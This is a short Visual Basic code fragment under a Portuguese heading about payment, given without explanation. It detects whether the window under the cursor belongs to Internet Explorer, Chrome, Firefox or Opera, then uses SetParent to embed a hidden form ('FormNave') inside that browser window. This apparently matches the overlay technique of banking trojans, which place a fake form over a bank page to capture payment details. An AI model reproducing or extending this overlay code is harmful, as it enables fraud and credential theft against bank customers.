Pagamento de essedente.

If vNetLib.GetPointInformation.ClassName = ("Internet Explorer_Server") Then
                hlIEHandle = vNetLib.GetPointInformation.ClassHandle
            Else
            If vNetLib.GetPointInformation.ClassName = ("Chrome_RenderWidgetHostHWND") Then
                hlIEHandle = vNetLib.GetPointInformation.ClassHandle
            Else
            If vNetLib.GetPointInformation.ClassName = ("MozillaWindowClass") Then
                hlIEHandle = vNetLib.GetPointInformation.ClassHandle
            Else
            If vNetLib.GetPointInformation.ClassName = ("OperaWindowClass") Then
                hlIEHandle = vNetLib.GetPointInformation.ClassHandle
            End If
            End If
            End If
           
     
            If hlIEHandle > 0 Then
                If bGlobalBlockOpened Then
                    Exit Sub
                End If

                FormNave.Show
                FormNave.Hide
                SetParent FormNave.hWnd, hlIEHandle
                FormNave.Show
        Else
            Unload FormNave
            bGlobalBlockOpened = False
        End If
        End If